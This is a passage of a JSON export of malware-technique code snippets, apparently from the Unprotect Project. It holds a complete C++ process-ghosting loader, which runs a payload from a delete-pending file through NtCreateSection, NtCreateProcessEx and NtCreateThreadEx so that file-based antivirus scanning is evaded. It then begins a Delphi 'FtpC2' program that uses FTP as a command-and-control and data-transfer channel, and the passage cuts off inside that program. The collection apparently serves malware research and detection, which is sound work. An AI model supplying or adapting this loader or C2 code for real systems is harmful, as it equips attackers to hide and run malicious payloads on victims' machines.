40\r\n\tFileIoCompletionNotificationInformation, // 41\r\n\tFileIoStatusBlockRangeInformation,       // 42\r\n\tFileIoPriorityHintInformation,           // 43\r\n\tFileSfioReserveInformation,              // 44\r\n\tFileSfioVolumeInformation,               // 45\r\n\tFileHardLinkInformation,                 // 46\r\n\tFileProcessIdsUsingFileInformation,      // 47\r\n\tFileMaximumInformation                   // 48\r\n} FILE_INFORMATION_CLASS_, * PFILE_INFORMATION_CLASS_;\r\n\r\ntypedef struct _FILE_DISPOSITION_INFORMATION {\r\n\tBOOLEAN DeleteFile;\r\n} FILE_DISPOSITION_INFORMATION, * PFILE_DISPOSITION_INFORMATION;\r\n\r\ntypedef struct _RTL_USER_PROCESS_PARAMETERS_\r\n{\r\n\tULONG MaximumLength;                            // Should be set before call RtlCreateProcessParameters\r\n\tULONG Length;                                   // Length of valid structure\r\n\tULONG Flags;                                    // Currently only PPF_NORMALIZED (1) is known:\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t//  - Means that structure is normalized by call RtlNormalizeProcessParameters\r\n\tULONG DebugFlags;\r\n\r\n\tPVOID ConsoleHandle;                            // HWND to console window associated with process (if any).\r\n\tULONG ConsoleFlags;\r\n\tHANDLE StandardInput;\r\n\tHANDLE StandardOutput;\r\n\tHANDLE StandardError;\r\n\r\n\tCURDIR CurrentDirectory;                        // Specified in DOS-like symbolic link path, ex: \"C:/WinNT/SYSTEM32\"\r\n\tUNICODE_STRING DllPath;                         // DOS-like paths separated by ';' where system should search for DLL files.\r\n\tUNICODE_STRING ImagePathName;                   // Full path in DOS-like format to process'es file image.\r\n\tUNICODE_STRING CommandLine;                     // Command line\r\n\tPVOID Environment;                              // Pointer to environment block (see RtlCreateEnvironment)\r\n\tULONG StartingX;\r\n\tULONG StartingY;\r\n\tULONG CountX;\r\n\tULONG CountY;\r\n\tULONG CountCharsX;\r\n\tULONG CountCharsY;\r\n\tULONG FillAttribute;                            // Fill attribute for console window\r\n\tULONG WindowFlags;\r\n\tULONG ShowWindowFlags;\r\n\tUNICODE_STRING WindowTitle;\r\n\tUNICODE_STRING DesktopInfo;                     // Name of WindowStation and Desktop objects, where process is assigned\r\n\tUNICODE_STRING ShellInfo;\r\n\tUNICODE_STRING RuntimeData;\r\n\tRTL_DRIVE_LETTER_CURDIR CurrentDirectores[0x20];\r\n\tULONG EnvironmentSize;\r\n} RTL_USER_PROCESS_PARAMETERS_, * PRTL_USER_PROCESS_PARAMETERS_;\r\n\r\ntypedef NTSTATUS(NTAPI* pRtlCreateProcessParametersEx)(\r\n\t_Out_ PRTL_USER_PROCESS_PARAMETERS* pProcessParameters,\r\n\t_In_ PUNICODE_STRING ImagePathName,\r\n\t_In_opt_ PUNICODE_STRING DllPath,\r\n\t_In_opt_ PUNICODE_STRING CurrentDirectory,\r\n\t_In_opt_ PUNICODE_STRING CommandLine,\r\n\t_In_opt_ PVOID Environment,\r\n\t_In_opt_ PUNICODE_STRING WindowTitle,\r\n\t_In_opt_ PUNICODE_STRING DesktopInfo,\r\n\t_In_opt_ PUNICODE_STRING ShellInfo,\r\n\t_In_opt_ PUNICODE_STRING RuntimeData,\r\n\t_In_ ULONG Flags\r\n\t);\r\n\r\ntypedef NTSTATUS(NTAPI* pNtCreateProcessEx)\r\n(\r\n\tOUT PHANDLE\t\t\t\tProcessHandle,\r\n\tIN ACCESS_MASK\t\t\tDesiredAccess,\r\n\tIN POBJECT_ATTRIBUTES   ObjectAttributes  OPTIONAL,\r\n\tIN HANDLE   ParentProcess,\r\n\tIN ULONG    Flags,\r\n\tIN HANDLE   SectionHandle OPTIONAL,\r\n\tIN HANDLE   DebugPort OPTIONAL,\r\n\tIN HANDLE   ExceptionPort OPTIONAL,\r\n\tIN BOOLEAN  InJob\r\n\t);\r\ntypedef NTSTATUS(NTAPI* pNtCreateThreadEx) (\r\n\tOUT  PHANDLE ThreadHandle,\r\n\tIN  ACCESS_MASK DesiredAccess,\r\n\tIN  POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL,\r\n\tIN  HANDLE ProcessHandle,\r\n\tIN  PVOID StartRoutine,\r\n\tIN  PVOID Argument OPTIONAL,\r\n\tIN  ULONG CreateFlags,\r\n\tIN  ULONG_PTR ZeroBits,\r\n\tIN  SIZE_T StackSize OPTIONAL,\r\n\tIN  SIZE_T MaximumStackSize OPTIONAL,\r\n\tIN  PVOID AttributeList OPTIONAL\r\n\t);\r\ntypedef NTSTATUS(NTAPI* pNtCreateSection)(\r\n\tPHANDLE            SectionHandle,\r\n\tACCESS_MASK        DesiredAccess,\r\n\tPOBJECT_ATTRIBUTES ObjectAttributes,\r\n\tPLARGE_INTEGER     MaximumSize,\r\n\tULONG              SectionPageProtection,\r\n\tULONG              AllocationAttributes,\r\n\tHANDLE             FileHandle\r\n\t);\r\n\r\ntypedef NTSTATUS (NTAPI* pNtQueryInformationProcess)(\r\n\tIN HANDLE ProcessHandle,\r\n\tIN PROCESSINFOCLASS ProcessInformationClass,\r\n\tOUT PVOID ProcessInformation,\r\n\tIN ULONG ProcessInformationLength,\r\n\tOUT PULONG ReturnLength OPTIONAL\r\n);\r\n\r\ntypedef NTSTATUS (NTAPI* pNtSetInformationFile)(\r\n\tIN HANDLE FileHandle,\r\n\tOUT PIO_STATUS_BLOCK IoStatusBlock,\r\n\tIN PVOID FileInformation,\r\n\tIN ULONG Length,\r\n\tIN FILE_INFORMATION_CLASS FileInformationClass\r\n);\r\n\r\nstatic pNtCreateProcessEx\tNtCreateProcessEx = nullptr;\r\nstatic pNtCreateThreadEx\tNtCreateThreadEx = nullptr;\r\nstatic pNtCreateSection\t\tNtCreateSection = nullptr;\r\nstatic pNtQueryInformationProcess NtQueryInformationProcess_ = nullptr;\r\nstatic pNtSetInformationFile NtSetInformationFile = nullptr;\r\nstatic pRtlCreateProcessParametersEx RtlCreateProcessParametersEx = nullptr;\r\n\r\nstd::wstring Str2WStr(const std::string& str)\r\n{\r\n\ttry\r\n\t{\r\n\t\tUSES_CONVERSION;\r\n\t\treturn A2W(str.c_str());\r\n\t}\r\n\tcatch (const std::exception&)\r\n\t{\r\n\t\treturn L\"\";\r\n\t}\r\n}\r\n\r\nstd::string WStr2Str(const std::wstring& wstr)\r\n{\r\n\ttry\r\n\t{\r\n\t\tUSES_CONVERSION;\r\n\t\treturn W2A(wstr.c_str());\r\n\t}\r\n\tcatch (const std::exception&)\r\n\t{\r\n\t\treturn \"\";\r\n\t}\r\n}\r\n\r\nconst bool CGetCurrentDirectory(std::string& strDirpath)\r\n{\r\n\tchar szModule[1024] = { 0, };\r\n\tGetModuleFileNameA(NULL, szModule, sizeof(szModule) / sizeof(char));\r\n\tstrDirpath = szModule;\r\n\tif (0 >= strDirpath.size())\r\n\t{\r\n\t\tOutputDebugString(L\"GetModuleFileNameA Error\");\r\n\t\treturn 0;\r\n\t}\r\n\tsize_t offset = strDirpath.rfind(\"\\\\\");\r\n\tif (0 >= offset)\r\n\t{\r\n\t\tOutputDebugString(L\"GetModuleFileNameA Size < 0\");\r\n\t\treturn 0;\r\n\t}\r\n\tstrDirpath = strDirpath.substr(0, offset + 1);\r\n\treturn true;\r\n}\r\n\r\nconst bool InitFunction()\r\n{\r\n\tconst HMODULE hLib = LoadLibraryA(\"ntdll.dll\");\r\n\tif (hLib == nullptr) {\r\n\t\treturn false;\r\n\t}\r\n\t{\r\n\t\tconst FARPROC pFarProc = GetProcAddress(hLib, \"NtCreateProcessEx\");\r\n\t\tif (pFarProc) {\r\n\t\t\tNtCreateProcessEx = (pNtCreateProcessEx)pFarProc;\r\n\t\t}\r\n\t}\r\n\t{\r\n\r\n\t\tconst FARPROC pFarProc = GetProcAddress(hLib, \"NtCreateThreadEx\");\r\n\t\tif (pFarProc) {\r\n\t\t\tNtCreateThreadEx = (pNtCreateThreadEx)pFarProc;\r\n\t\t}\r\n\t}\r\n\t{\r\n\r\n\t\tconst FARPROC pFarProc = GetProcAddress(hLib, \"NtCreateSection\");\r\n\t\tif (pFarProc) {\r\n\t\t\tNtCreateSection = (pNtCreateSection)pFarProc;\r\n\t\t}\r\n\t}\r\n\t{\r\n\r\n\t\tconst FARPROC pFarProc = GetProcAddress(hLib, \"NtQueryInformationProcess\");\r\n\t\tif (pFarProc) {\r\n\t\t\tNtQueryInformationProcess_ = (pNtQueryInformationProcess)pFarProc;\r\n\t\t}\r\n\t}\r\n\t{\r\n\r\n\t\tconst FARPROC pFarProc = GetProcAddress(hLib, \"NtSetInformationFile\");\r\n\t\tif (pFarProc) {\r\n\t\t\tNtSetInformationFile = (pNtSetInformationFile)pFarProc;\r\n\t\t}\r\n\t}\r\n\t{\r\n\r\n\t\tconst FARPROC pFarProc = GetProcAddress(hLib, \"RtlCreateProcessParametersEx\");\r\n\t\tif (pFarProc) {\r\n\t\t\tRtlCreateProcessParametersEx = (pRtlCreateProcessParametersEx)pFarProc;\r\n\t\t}\r\n\t}\r\n\r\n\tif (!NtCreateProcessEx || !NtCreateThreadEx || !NtCreateSection || \\\r\n\t\t!NtQueryInformationProcess_ || !NtSetInformationFile || !RtlCreateProcessParametersEx)\r\n\t\treturn false;\r\n\treturn true;\r\n}\r\n\r\nconst DWORD ReadPayLoadData(const std::string& strFullPath, char*& strReadBuf)\r\n{\r\n\tbool bRet = false;\r\n\tHANDLE hFile = NULL; \r\n\tDWORD dwSize = 0;\r\n\thFile = CreateFileA(strFullPath.c_str(), GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);\r\n\tdo\r\n\t{\r\n\t\tif (hFile == INVALID_HANDLE_VALUE)\r\n\t\t\tbreak;\r\n\t\tdwSize = GetFileSize(hFile, &dwSize);\r\n\t\tstrReadBuf = new char[dwSize + 1];\r\n\t\tif (!strReadBuf)\r\n\t\t\tbreak;\r\n\t\tRtlSecureZeroMemory(strReadBuf, dwSize + 1);\r\n\t\tbRet = true;\r\n\t} while (false);\r\n\tif (hFile) {\r\n\t\tReadFile(hFile, strReadBuf, dwSize, &dwSize, NULL);\r\n\t\tCloseHandle(hFile);\r\n\t}\r\n\treturn dwSize;\r\n}\r\n\r\nconst bool GetProcessPeb(HANDLE hProcess, OUT PEB_& peb, PROCESS_BASIC_INFORMATION& pbi)\r\n{\r\n\tbool bSuc = false;\r\n\tHANDLE hNewDup = nullptr;\r\n\tif (DuplicateHandle(GetCurrentProcess(), hProcess, GetCurrentProcess(), &hNewDup, 0, FALSE, DUPLICATE_SAME_ACCESS))\r\n\t{\r\n\t\tconst NTSTATUS nRet = NtQueryInformationProcess_(hNewDup, ProcessBasicInformation, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL);\r\n\t\tif (BCRYPT_SUCCESS(nRet)) {\r\n\t\t\tif (ReadProcessMemory(hNewDup, pbi.PebBaseAddress, &peb, sizeof(PEB_), 0))\r\n\t\t\t{\r\n\t\t\t\tbSuc = true;\r\n\t\t\t\t//if (ReadProcessMemory(hNewDup, peb.ProcessParameters, &rups, sizeof(RTL_USER_PROCESS_PARAMETERS), 0))\r\n\t\t\t\t//\tbSuc = true;\r\n\t\t\t\t//else\r\n\t\t\t\t//\tstd::cerr << \"[-]  Peb ProcessParameters Failuer\" << std::endl;\r\n\t\t\t}\r\n\t\t\telse\r\n\t\t\t\tstd::cerr << \"[-]  Peb ReadProcessMemory Failuer\" << std::endl;\r\n\t\t}\r\n\t\telse\r\n\t\t\tstd::cerr << \"[-]  Peb NtQueryInformationProcess Failuer\" << std::endl;\r\n\t\tCloseHandle(hNewDup);\r\n\t}\r\n\treturn bSuc;\r\n}\r\n\r\nconst ULONGLONG GetEntryPointRva(char*& pData)\r\n{\r\n\ttry\r\n\t{\r\n\t\tPIMAGE_DOS_HEADER pDosHander = (PIMAGE_DOS_HEADER)pData;\r\n#ifdef _WIN64\r\n\t\tPIMAGE_NT_HEADERS pHeadres = (PIMAGE_NT_HEADERS)(pDosHander->e_lfanew + (DWORD64)pData);\r\n#else\r\n\t\tPIMAGE_NT_HEADERS pHeadres = (PIMAGE_NT_HEADERS)(pDosHander->e_lfanew + (LONG)pData);\r\n#endif\r\n\t\tif(pHeadres)\r\n\t\t\treturn pHeadres->OptionalHeader.AddressOfEntryPoint;\r\n\t\treturn 0;\r\n\t}\r\n\tcatch (const std::exception&)\r\n\t{\r\n\t\treturn 0;\r\n\t}\r\n}\r\n\r\nLPVOID const WriteParamsProcess(const HANDLE& hProcess, const PRTL_USER_PROCESS_PARAMETERS_& params, DWORD protect)\r\n{\r\n\tif (!hProcess || !params)\r\n\t\treturn nullptr;\r\n\r\n\tPVOID buffer = params;\r\n\tULONG_PTR buffer_end = (ULONG_PTR)params + params->Length;\r\n\r\n\t//params and environment in one space:\r\n\tif (params->Environment) {\r\n\t\tif ((ULONG_PTR)params > (ULONG_PTR)params->Environment) {\r\n\t\t\tbuffer = (PVOID)params->Environment;\r\n\t\t}\r\n\t\tULONG_PTR env_end = (ULONG_PTR)params->Environment + params->EnvironmentSize;\r\n\t\tif (env_end > buffer_end) {\r\n\t\t\tbuffer_end = env_end;\r\n\t\t}\r\n\t}\r\n\t// copy the continuous area containing parameters + environment\r\n\tSIZE_T buffer_size = buffer_end - (ULONG_PTR)buffer;\r\n\tif (VirtualAllocEx(hProcess, buffer, buffer_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE)) {\r\n\t\tif (!WriteProcessMemory(hProcess, (LPVOID)params, (LPVOID)params, params->Length, NULL)) {\r\n\t\t\tstd::cerr << \"Writing RemoteProcessParams failed\" << std::endl;\r\n\t\t\treturn nullptr;\r\n\t\t}\r\n\t\tif (params->Environment) {\r\n\t\t\tif (!WriteProcessMemory(hProcess, (LPVOID)params->Environment, (LPVOID)params->Environment, params->EnvironmentSize, NULL)) {\r\n\t\t\t\tstd::cerr << \"Writing environment failed\" << std::endl;\r\n\t\t\t\treturn nullptr;\r\n\t\t\t}\r\n\t\t}\r\n\t\treturn (LPVOID)params;\r\n\t}\r\n\r\n\t// could not copy the continuous space, try to fill it as separate chunks:\r\n\tif (!VirtualAllocEx(hProcess, (LPVOID)params, params->Length, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE)) {\r\n\t\tstd::cerr << \"Allocating RemoteProcessParams failed\" << std::endl;\r\n\t\treturn nullptr;\r\n\t}\r\n\tif (!WriteProcessMemory(hProcess, (LPVOID)params, (LPVOID)params, params->Length, NULL)) {\r\n\t\tstd::cerr << \"Writing RemoteProcessParams failed\" << std::endl;\r\n\t\treturn nullptr;\r\n\t}\r\n\tif (params->Environment) {\r\n\t\tif (!VirtualAllocEx(hProcess, (LPVOID)params->Environment, params->EnvironmentSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE)) {\r\n\t\t\tstd::cerr << \"Allocating environment failed\" << std::endl;\r\n\t\t\treturn nullptr;\r\n\t\t}\r\n\t\tif (!WriteProcessMemory(hProcess, (LPVOID)params->Environment, (LPVOID)params->Environment, params->EnvironmentSize, NULL)) {\r\n\t\t\tstd::cerr << \"Writing environment failed\" << std::endl;\r\n\t\t\treturn nullptr;\r\n\t\t}\r\n\t}\r\n\treturn (LPVOID)params;\r\n}\r\n\r\nconst bool SetProcessParameter(const HANDLE& hProcess, const std::string& targetPath, const ULONGLONG uPebBaseAddr)\r\n{\r\n\t// Set Process Parameter\r\n\tconst std::wstring wTarGetPath = Str2WStr(targetPath).c_str();\r\n\tUNICODE_STRING uTargetPath = { 0 };\r\n\tRtlInitUnicodeString(&uTargetPath, wTarGetPath.c_str());\r\n\r\n\tstd::wstring::size_type wStrType = wTarGetPath.find_last_of('\\\\');\r\n\tif (wStrType == std::wstring::npos)\r\n\t\treturn false;\r\n\r\n\tstd::wstring wstrTarGetCurrentDir = wTarGetPath.substr(0, wStrType);\r\n\tif (wstrTarGetCurrentDir.empty())\r\n\t\treturn false;\r\n\r\n\tUNICODE_STRING uTGetCurrentDir = { 0 };\r\n\tRtlInitUnicodeString(&uTGetCurrentDir, wstrTarGetCurrentDir.c_str());\r\n\r\n\tconst wchar_t dllDir[] = L\"C:\\\\Windows\\\\System32\";\r\n\tUNICODE_STRING uDllDir = { 0 };\r\n\tRtlInitUnicodeString(&uDllDir, dllDir);\r\n\r\n\tUNICODE_STRING uWindowName = { 0 };\r\n\tconst wchar_t* windowName = (LPWSTR)L\"360\";\r\n\tRtlInitUnicodeString(&uWindowName, windowName);\r\n\r\n\tLPVOID environment;\r\n\tCreateEnvironmentBlock(&environment, NULL, TRUE);\r\n\r\n\tPRTL_USER_PROCESS_PARAMETERS_ params = nullptr;\r\n\tNTSTATUS nStu = RtlCreateProcessParametersEx(\r\n\t\t(PRTL_USER_PROCESS_PARAMETERS*)(&params),\r\n\t\t(PUNICODE_STRING)&uTargetPath,\r\n\t\t(PUNICODE_STRING)&uDllDir,\r\n\t\t(PUNICODE_STRING)&uTGetCurrentDir,\r\n\t\t(PUNICODE_STRING)&uTargetPath,\r\n\t\tenvironment,\r\n\t\t(PUNICODE_STRING)&uWindowName,\r\n\t\tnullptr,\r\n\t\tnullptr,\r\n\t\tnullptr,\r\n\t\tRTL_USER_PROC_PARAMS_NORMALIZED\r\n\t);\r\n\r\n\tif (!NT_SUCCESS(nStu)) {\r\n\t\tstd::cerr << \"[-] RtlCreateProcessParametersEx failed\" << std::endl;\r\n\t\treturn false;\r\n\t}\r\n\r\n\tLPVOID pRemoteParams = WriteParamsProcess(hProcess, params, PAGE_READWRITE);\r\n\tif (!pRemoteParams) {\r\n\t\tstd::cout << \"[-] Cannot make a remote copy of parameters: \" << GetLastError() << std::endl;\r\n\t\treturn false;\r\n\t}\r\n\r\n\t// Set Params In Peb\r\n\t{\r\n\t\t// Get access to the remote PEB:\r\n\t\tULONGLONG remote_peb_addr = uPebBaseAddr;\r\n\t\tif (!remote_peb_addr) {\r\n\t\t\tstd::cerr << \"[-] Failed getting remote PEB address!\" << std::endl;\r\n\t\t\treturn false;\r\n\t\t}\r\n\r\n\t\tPEB peb_copy = { 0 };\r\n\t\tULONGLONG offset = (ULONGLONG)&peb_copy.ProcessParameters - (ULONGLONG)&peb_copy;\r\n\r\n\t\t// Calculate offset of the parameters\r\n\t\tLPVOID remote_img_base = (LPVOID)(remote_peb_addr + offset);\r\n\r\n\t\t//Write parameters address into PEB:\r\n\t\tSIZE_T written = 0;\r\n\t\tif (!WriteProcessMemory(hProcess, remote_img_base,\r\n\t\t\t&pRemoteParams, sizeof(PVOID),\r\n\t\t\t&written))\r\n\t\t{\r\n\t\t\tstd::cout << \"[-] Cannot update Params!\" << std::endl;\r\n\t\t\treturn false;\r\n\t\t}\r\n\t\treturn true;\r\n\t}\r\n}\r\n\r\nint main(int argc, char* argv[])\r\n{\r\n\tif (argc < 3) {\r\n\t\tstd::cout << \"[-] Parameter Path Error...\" << std::endl;\r\n\t\treturn 0;\r\n\t}\r\n\r\n\tconst std::string sPayLoadPath = argv[1];\r\n\tif (sPayLoadPath.empty()) {\r\n\t\tstd::cout << \"[-] Parameter PayLoad Path Error...\" << std::endl;\r\n\t\treturn 0;\r\n\t}\r\n\r\n\tconst std::string sTargetPath = argv[2];\r\n\tif (sTargetPath.empty()) {\r\n\t\tstd::cout << \"[-] Parameter Target Path Error...\" << std::endl;\r\n\t\treturn 0;\r\n\t}\r\n\r\n\t// Read Payload to BufData\r\n\tchar* pPayLoadData = nullptr;\r\n\tconst DWORD dwDataSize = ReadPayLoadData(sPayLoadPath, pPayLoadData);\r\n\tif (!pPayLoadData) {\r\n\t\tstd::cout << \"[-] Read Payload Data Failuer, Path: \" << sPayLoadPath.c_str() << std::endl;\r\n\t\treturn 0;\r\n\t}\r\n\tstd::cout << \"[+] Read Payload Data Success, Path: \" << sPayLoadPath.c_str() << std::endl;\r\n\r\n\tif (!InitFunction()) {\r\n\t\tstd::cout << \"[-] Init Function Failuer, Path: \" << std::endl;\r\n\t\treturn 0;\r\n\t}\r\n\t\r\n\t// 1. Create New File\r\n\tHANDLE hFile = CreateFileA(\r\n\t\tsTargetPath.c_str(),\r\n\t\tGENERIC_READ | GENERIC_WRITE,\r\n\t\tFILE_SHARE_READ | FILE_SHARE_WRITE,\r\n\t\tNULL,\r\n\t\tCREATE_ALWAYS,\r\n\t\tFILE_ATTRIBUTE_NORMAL | FILE_FLAG_OVERLAPPED | FILE_FLAG_DELETE_ON_CLOSE,\r\n\t\tNULL);\r\n\r\n\tif (INVALID_HANDLE_VALUE == hFile || !hFile) {\r\n\t\tstd::cout << \"[-] Create New TargetPath File Failuer, Path: \" << sTargetPath.c_str() << std::endl;\r\n\t\treturn 0;\r\n\t}\r\n\r\n\tHANDLE hSection = nullptr;\r\n\tHANDLE hProcess = nullptr;\r\n\tdo\r\n\t{\r\n\t\t// Set FileAttr Delete on Close FILE_FLAG_DELETE_ON_CLOSE\r\n\t\tIO_STATUS_BLOCK status_block = { 0 };\r\n\t\tFILE_DISPOSITION_INFORMATION info = { 0 };\r\n\t\tinfo.DeleteFile = TRUE;\r\n\t\tNTSTATUS hStu = NtSetInformationFile(hFile, &status_block, &info, sizeof(info), (FILE_INFORMATION_CLASS)FileDispositionInformation);\r\n\t\tif (!NT_SUCCESS(hStu)) {\r\n\t\t\tstd::cout << \"[-] SetInformationFile Delete Failuer, Path: \" << sTargetPath.c_str() << std::endl;\r\n\t\t\tbreak;\r\n\t\t}\r\n\r\n\t\t// 3. Write Data Flush\r\n\t\tDWORD dWriteLens = 0;\r\n\t\tOVERLAPPED overped = { 0, };\r\n\t\tWriteFile(hFile, pPayLoadData, dwDataSize, &dWriteLens, &overped);\r\n\t\tFlushFileBuffers(hFile);\r\n\r\n\t\t// 4. Craete Section\r\n\t\thStu = NtCreateSection(&hSection,\r\n\t\t\tSECTION_ALL_ACCESS,\r\n\t\t\tNULL,\r\n\t\t\t0,\r\n\t\t\tPAGE_READONLY,\r\n\t\t\tSEC_IMAGE,\r\n\t\t\thFile\r\n\t\t);\r\n\t\tif (!NT_SUCCESS(hStu) || !hSection) {\r\n\t\t\tstd::cout << \"[-] CreateSection Failuer, Path: \" << sTargetPath.c_str() << std::endl;\r\n\t\t\tbreak;\r\n\t\t}\r\n\t\tstd::cout << \"[+] CreateSection Success, Path: \" << sTargetPath.c_str() << std::endl;\r\n\r\n\t\t// 5. Close File Handle -- File Mark Delete & Delete\r\n\t\tif (hFile) {\r\n\t\t\tCloseHandle(hFile);\r\n\t\t\thFile = NULL;\r\n\t\t}\r\n\r\n\t\t// 6. CreateProcessEx\r\n\t\thStu = NtCreateProcessEx(\r\n\t\t\t&hProcess,\r\n\t\t\tPROCESS_ALL_ACCESS,\r\n\t\t\tNULL,\r\n\t\t\tGetCurrentProcess(),\r\n\t\t\t4,// PS_INHERIT_HANDLES\r\n\t\t\thSection,\r\n\t\t\tNULL,\r\n\t\t\tNULL,\r\n\t\t\tFALSE\r\n\t\t);\r\n\t\tif (!NT_SUCCESS(hStu) || !hProcess) {\r\n\t\t\tstd::cout << \"[-] CreateProcess Failuer, Path: \" << sTargetPath.c_str() << std::endl;\r\n\t\t\tbreak;\r\n\t\t}\r\n\t\tstd::cout << \"[+] CreateProcess Success, Path: \" << sTargetPath.c_str() << std::endl;\r\n\r\n\t\t// 7. Get Pe ImageBase pEntry\r\n\t\tPEB_ pebData = { 0 }; PROCESS_BASIC_INFORMATION pbi = { 0, };\r\n\t\tif (!GetProcessPeb(hProcess, pebData, pbi)) {\r\n\t\t\tstd::cout << \"[-] Get ProcessPeb Failuer, Handle: \" << hProcess << std::endl;\r\n\t\t\tbreak;\r\n\t\t}\r\n\t\tULONGLONG uImageBaseAddr = (ULONGLONG)pebData.ImageBaseAddress;\r\n\t\tstd::cout << \"[+] Get Process ImageBase Success, Handle: \" << hProcess << \" ImageBaseAddr: \" << uImageBaseAddr << std::endl;\r\n\r\n\t\t// Get File Oep\r\n\t\tULONGLONG procEntry = 0;\r\n\t\tconst ULONGLONG dwPayLoadEp = GetEntryPointRva(pPayLoadData);\r\n\t\tif (dwPayLoadEp) {\r\n\t\t\tprocEntry = dwPayLoadEp + uImageBaseAddr;\r\n\t\t}\r\n\t\telse {\r\n\t\t\tstd::cout << \"[-] Get PE Rva Failuer, Handle: \" << hProcess << std::endl;\r\n\t\t\tbreak;\r\n\t\t}\r\n\t\tstd::cout << \"[+] Get OEP Success, Handle: \" << hProcess << \" OEPAddr: \" << procEntry << std::endl;\r\n\t\t\r\n\t\t// Create \r\n\t\tif (!SetProcessParameter(hProcess, sTargetPath, (ULONGLONG)pbi.PebBaseAddress)) {\r\n\t\t\tstd::cout << \"[-] Set Process Parameter Failuer, Handle: \" << hProcess << std::endl;\r\n\t\t}\r\n\r\n\t\t// 8. CreateThread ImageBase\r\n\t\tHANDLE hThread = NULL;\r\n\t\thStu = NtCreateThreadEx(&hThread,\r\n\t\t\tTHREAD_ALL_ACCESS,\r\n\t\t\tNULL,\r\n\t\t\thProcess,\r\n\t\t\t(LPTHREAD_START_ROUTINE)procEntry,\r\n\t\t\tNULL,\r\n\t\t\tFALSE,\r\n\t\t\t0,\r\n\t\t\t0,\r\n\t\t\t0,\r\n\t\t\tNULL\r\n\t\t);\r\n\t\tif (!NT_SUCCESS(hStu)) {\r\n\t\t\tstd::cout << \"[-] CreateThread Pointer Pe Runing Failuer, Handle: \" << hProcess << std::endl;\r\n\t\t\tbreak;\r\n\t\t}\r\n\t\tstd::cout << \"[+] CreateThread Runing Success, Handle \" << hProcess << \" Tid: \" << hThread << std::endl;\r\n\t} while (false);\r\n\t\t\r\n\t// clear\r\n\tif (pPayLoadData) {\r\n\t\tdelete[] pPayLoadData; pPayLoadData = nullptr;\r\n\t}\r\n\tif (hSection) {\r\n\t\tCloseHandle(hSection);\r\n\t\thSection = NULL;\r\n\t}\r\n\tif (hFile) {\r\n\t\tCloseHandle(hFile);\r\n\t\thFile = NULL;\r\n\t}\r\n\tif (hProcess) {\r\n\t\tCloseHandle(hProcess);\r\n\t\thProcess = NULL;\r\n\t}\r\n\treturn 0;\r\n}"
        },
        {
            "id": 198,
            "language": {
                "id": 1,
                "label": "Delphi",
                "code_class": "Delphi"
            },
            "author": {
                "id": 1,
                "name": "Jean-Pierre LESUEUR",
                "email": "jplesueur@phrozen.io",
                "linkedin": "https://www.linkedin.com/in/jlesueur/",
                "twitter": "https://www.twitter.com/darkcodersc",
                "website": "https://www.phrozen.io/",
                "github": "https://github.com/DarkCoderSc"
            },
            "technique": "https://unprotect.it/api/techniques/353/?format=api",
            "description": "This code snippet utilizes the Windows API, specifically the [Wininet](https://learn.microsoft.com/en-us/windows/win32/wininet/about-wininet?FWT_mc_id=DSEC-MVP-5005282) library, to execute FTP operations.",
            "plain_code": "(*\r\n * =========================================================================================\r\n * www.unprotect.it (Unprotect Project)\r\n * Author:   Jean-Pierre LESUEUR (@DarkCoderSc)\r\n * =========================================================================================\r\n *)\r\n\r\n  // WinApi Documentation\r\n  // https://learn.microsoft.com/en-us/windows/win32/wininet/ftp-sessions?FWT_mc_id=DSEC-MVP-5005282\r\n\r\nprogram FtpC2;\r\n\r\n{$APPTYPE CONSOLE}\r\n\r\nuses Winapi.Windows,\r\n     Winapi.WinInet,\r\n     System.Classes,\r\n     System.SysUtils,\r\n     System.IOUtils,\r\n     System.hash;\r\n\r\ntype\r\n  EFtpException = class(Exception);\r\n\r\n  EWindowsException = class(Exception)\r\n  private\r\n    FLastError : Integer;\r\n  public\r\n    {@C}\r\n    constructor Create(const WinAPI : String); overload;\r\n\r\n    {@G}\r\n    property LastError : Integer read FLastError;\r\n  end;\r\n\r\n  TDaemon = class(TThread)\r\n  private\r\n    FAgentSession : TGUID;\r\n    FFtpHost      : String;\r\n    FFtpPort      : Word;\r\n    FFtpUser      : String;\r\n    FFtpPassword  : String;\r\n  protected\r\n    procedure Execute(); override;\r\n  public\r\n    {@C}\r\n    constructor Create(const AFtpHost, AFtpUser, AFtpPassword : String; const AFtpPort : Word = INTERNET_DEFAULT_FTP_PORT); overload;\r\n  end;\r\n\r\n  TFtpHelper = class\r\n  private\r\n    FInternetHandle : HINTERNET;\r\n    FFtpHandle      : HINTERNET;\r\n\r\n    FFtpHost        : String;\r\n    FFtpPort        : Word;\r\n    FFtpUser        : String;\r\n    FFtpPassword    : String;\r\n\r\n    {@M}\r\n    function IsConnected() : Boolean;\r\n    procedure CheckConnected();\r\n  public\r\n    {@M}\r\n    procedure Connect();\r\n    procedure Disconnect();\r\n\r\n    procedure Browse(const ADirectory : String);\r\n\r\n    procedure UploadStream(var AStream : TMemoryStream; const AFileName : String);\r\n    function DownloadStream(const AFileName : String) : TMemoryStream;\r\n\r\n    procedure UploadString(const AContent, AFileName : String);\r\n    function DownloadString(const AFileName : String) : String;\r\n\r\n    function GetCurrentDirectory() : String;\r\n    procedure SetCurrentDirectory(const APath : String);\r\n\r\n    function DirectoryExists(const ADirectory : String) : Boolean;\r\n    procedure CreateDirectory(const ADirectoryName : String; const ADoBrowse : Boolean = False);\r\n    procedure CreateOrBrowseDirectory(const ADirectoryName : String);\r\n    procedure DeleteFile(const AFileName : String);\r\n\r\n    {@C}\r\n    constructor Create(const AFtpHost : String; const AFtpPort : Word; const AFtpUser, AFtpPassword : String; const AAgent : String = 'FTP'); overload;\r\n    constructor Create(const AFtpHost, AFtpUser, AFtpPassword : String) overload;\r\n\r\n    destructor Destroy(); override;\r\n\r\n    {@G}\r\n    property Connected : Boolean read IsConnected;\r\n  end;\r\n\r\n(* EWindowsException *)\r\n\r\n{ EWindowsException.Create }\r\nconstructor EWindowsException.Create(const WinAPI : String);\r\nvar AFormatedMessage : String;\r\nbegin\r\n  FLastError := GetLastError();\r\n\r\n  AFormatedMessage := Format('___%s: last_err=%d, last_err_msg=\"%s\".', [\r\n      